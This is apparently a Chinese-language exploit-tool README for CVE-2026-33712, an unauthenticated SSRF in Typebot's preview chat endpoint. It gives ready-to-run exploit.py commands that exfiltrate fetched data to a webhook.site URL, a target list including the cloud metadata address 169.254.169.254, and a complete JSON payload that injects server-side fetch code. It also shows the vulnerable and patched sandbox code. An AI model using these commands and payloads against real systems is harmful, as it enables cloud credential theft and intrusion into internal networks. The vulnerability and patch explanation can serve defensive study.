## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-PORTBUSTER1337-CVE-2026-33712
# CVE-2026-33712 - Typebot 未认证 SSRF
## 描述
**Typebot <= 3.15.2**(在 3.16.0 中修复)存在一个未认证的服务器端请求伪造(SSRF)漏洞,位于预览聊天端点。
**端点:** `POST /api/v1/typebots/{typebotId}/preview/startChat`
预览端点接受用户提供的 typebot 定义,其中包含服务器端代码块。在 `isolated-vm` 沙箱内暴露的 `fetch()` 函数调用了 Node.js 原生 fetch,**没有** 使用常规 HTTP 请求块所使用的 `validateHttpReqUrl()` SSRF 验证。这绕过了所有 SSRF 防护措施。
## 免责声明
本工具仅用于教育目的和授权的安全测试。未经授权针对您不拥有或未获得明确许可的系统进行测试是违法的。作者不对因使用本工具造成的任何滥用或损害负责。
## 影响
* 云凭据窃取(AWS IMDS、GCP 元数据、Azure IMDS)
* 内部网络访问 Docker 容器和私有子网
* 从内部服务窃取数据
* 通过 `__ENV.js` 泄露 SMTP_FROM / 管理员邮箱
## 文件
文件| 描述
---|---
`exploit.py`| 主漏洞利用脚本
`endpoints.txt`| 每行一个 URL — 要扫描的 SSRF 目标
`requirements.txt`| Python 依赖
## 使用方法
root@kitploit:~
pip install -r requirements.txt
# 单个 SSRF 请求
python3 exploit.py -t bot.example.com -u http://127.0.0.1:3000/__ENV.js -w https://webhook.site/your-uuid
# 扫描 endpoints.txt 中的所有 URL
python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan
# 从构建器的 __ENV.js 自动检测查看器 URL
python3 exploit.py -t 192.168.1.10:3011 -w https://webhook.site/your-uuid --detect-viewer --scan
# 跳过预检并强制执行
python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan --force
## 参数
## 行为
1. **自动协议** — 如果您输入 `bot.example.com` 而没有 `http://`,会自动添加。
2. **预检** — 在任何请求之前,脚本会探测目标并将其分类为 `vulnerable`(存在漏洞)、`patched`(已修复,需要验证)或 `endpoint_missing`(错误的 URL/版本)。除非设置了 `--force`,否则失败时提前退出。
3. **扫描模式** — 读取 `endpoints.txt`,遍历每个 URL,将内容外泄至 Webhook。
4. **外泄** — 内容以 POST 请求体形式发送到 Webhook URL(而不是作为查询参数),避免 URL 长度限制。
## endpoints.txt
每行一个原始 URL。空白行被忽略。没有注释,没有分类。
root@kitploit:~
http://127.0.0.1:3000/__ENV.js
http://typebot-builder:3000/
http://169.254.169.254/latest/meta-data/
## 漏洞代码路径
在 `packages/variables/src/executeFunction.ts` 中,`isolated-vm` 沙箱内暴露的 `fetch()` 原本调用 Node.js 原生 fetch 而没有进行 SSRF 验证:
root@kitploit:~
// 存在漏洞 (<=3.15.2):
globalThis.fetch = (...args) => $0.apply(undefined, args, {
new Reference(async (...fetchArgs) => {
const [input, init] = fetchArgs;
const res = await fetch(input, init); // 没有 validateHttpReqUrl!
return res.text();
}),
});
// 已修复 (>=3.16.0):
globalThis.fetch = (...args) => $0.apply(undefined, args, {
new Reference(async (...fetchArgs) => {
const [input, init] = fetchArgs;
const request = new Request(input, init);
await validateHttpReqUrl(request.url); // 添加了 SSRF 检查
validateHttpReqHeaders(headers);
}),
});
修复(提交 `d96f572`)还重新调整了 `getTypebot()` 中的检查顺序,使身份验证验证在自定义 typebot 快捷方式**之前** 运行,并将查看器的预览端点从 `procedureWithOptionalUser` 移至 `protectedProcedure`。
## 载荷结构
root@kitploit:~
{
"typebotId": "exploit-id",
"typebot": {
"version": "6",
"id": "exploit-bot",
"workspaceId": "test",
"updatedAt": "2026-01-01T00:00:00.000Z",
"groups": [
{
"id": "group-1", "title": "Start",
"graphCoordinates": {"x": 0, "y": 0},
"blocks": [
{"id": "block-1", "type": "start", "label": "Start", "outgoingEdgeId": "edge-1"}
]
},
{
"id": "group-2", "title": "SSRF",
"graphCoordinates": {"x": 200, "y": 0},
"blocks": [
{
"id": "block-2", "type": "Code",
"outgoingEdgeId": "edge-2",
"options": {
"name": "SSRF",
"content": "const res = await fetch(\"http://127.0.0.1:3000/\"); setVariable(\"result\", res);",
"isExecutedOnClient": false,
"isUnsafe": true
}
}
]
}
],
"edges": [
{"id": "edge-1", "from": {"blockId": "block-1"}, "to": {"groupId": "group-2"}}
],
"events": [
{"id": "event-1", "type": "start", "outgoingEdgeId": "edge-1", "graphCoordinates": {"x": 0, "y": 0}}
],
"variables": [
{"id": "var-1", "name": "result", "value": null}
],
"settings": {"general": {}},
"theme": {"general": {}, "chat": {}}
}
}
**重要提示:** 沙箱内部的 `fetch()` 已经返回了 `.text()` 的结果,因此结果是**字符串** ,而不是 `Response` 对象。